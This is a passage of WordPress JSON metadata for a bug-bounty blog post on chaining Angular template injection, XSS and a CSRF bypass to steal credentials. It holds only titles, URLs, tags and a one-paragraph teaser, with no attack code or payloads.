Hunting","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/","og_locale":"en_US","og_type":"article","og_title":"Chaining multiple vulnerabilities for credential stealing - Bergee&#039;s Stories on Bug Hunting","og_description":"Once upon a time in far, far hackalaxy&#8230;. there was a login form built with angular. This story is about how I managed to steal credentials using Angular template injection, post-based XSS, and CSRF protection bypass. I can&#8217;t disclose the real target so I call our target redacted.com. Angular template injection I&#8217;ve visited https:\/\/subdomain.redacted.com and...","og_url":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/","og_site_name":"Bergee&#039;s Stories on Bug Hunting","article_published_time":"2022-10-25T18:41:34+00:00","article_modified_time":"2023-07-13T20:51:32+00:00","og_image":[{"url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg","type":"","width":"","height":""}],"author":"bergee","twitter_card":"summary_large_image","twitter_creator":"@https:\/\/twitter.com\/bergee","twitter_site":"@bergee","twitter_misc":{"Written by":"bergee","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#article","isPartOf":{"@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/"},"author":{"name":"bergee","@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"headline":"Chaining multiple vulnerabilities for credential stealing","datePublished":"2022-10-25T18:41:34+00:00","dateModified":"2023-07-13T20:51:32+00:00","mainEntityOfPage":{"@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/"},"wordCount":1709,"publisher":{"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"image":{"@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#primaryimage"},"thumbnailUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg","keywords":["account takeover","csrf","reflected xss","self-xss"],"articleSection":["Bez kategorii","bug bounty","write-up"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/","url":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/","name":"Chaining multiple vulnerabilities for credential stealing - Bergee&#039;s Stories on Bug Hunting","isPartOf":{"@id":"https:\/\/bergee.it\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#primaryimage"},"image":{"@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#primaryimage"},"thumbnailUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg","datePublished":"2022-10-25T18:41:34+00:00","dateModified":"2023-07-13T20:51:32+00:00","breadcrumb":{"@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#primaryimage","url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg","contentUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg","width":736,"height":171},{"@type":"BreadcrumbList","@id":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/bergee.it\/blog\/"},{"@type":"ListItem","position":2,"name":"Chaining multiple vulnerabilities for credential stealing"}]},{"@type":"WebSite","@id":"https:\/\/bergee.it\/blog\/#website","url":"https:\/\/bergee.it\/blog\/","name":"Bergee&#039;s Stories on Bug Hunting","description":"hacking, cyber security and programming","publisher":{"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/bergee.it\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73","name":"bergee","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","contentUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","width":129,"height":150,"caption":"bergee"},"logo":{"@id":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png"},"sameAs":["http:\/\/localhost\/wordpress","https:\/\/www.linkedin.com\/in\/bartlomiej-bergier","https:\/\/x.com\/https:\/\/twitter.com\/bergee"],"url":"https:\/\/bergee.it\/blog\/author\/bergee\/"}]}},"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/252","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=252"}],"version-history":[{"count":20,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/252\/revisions"}],"predecessor-version":[{"id":367,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/252\/revisions\/367"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=252"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=252"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=252"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}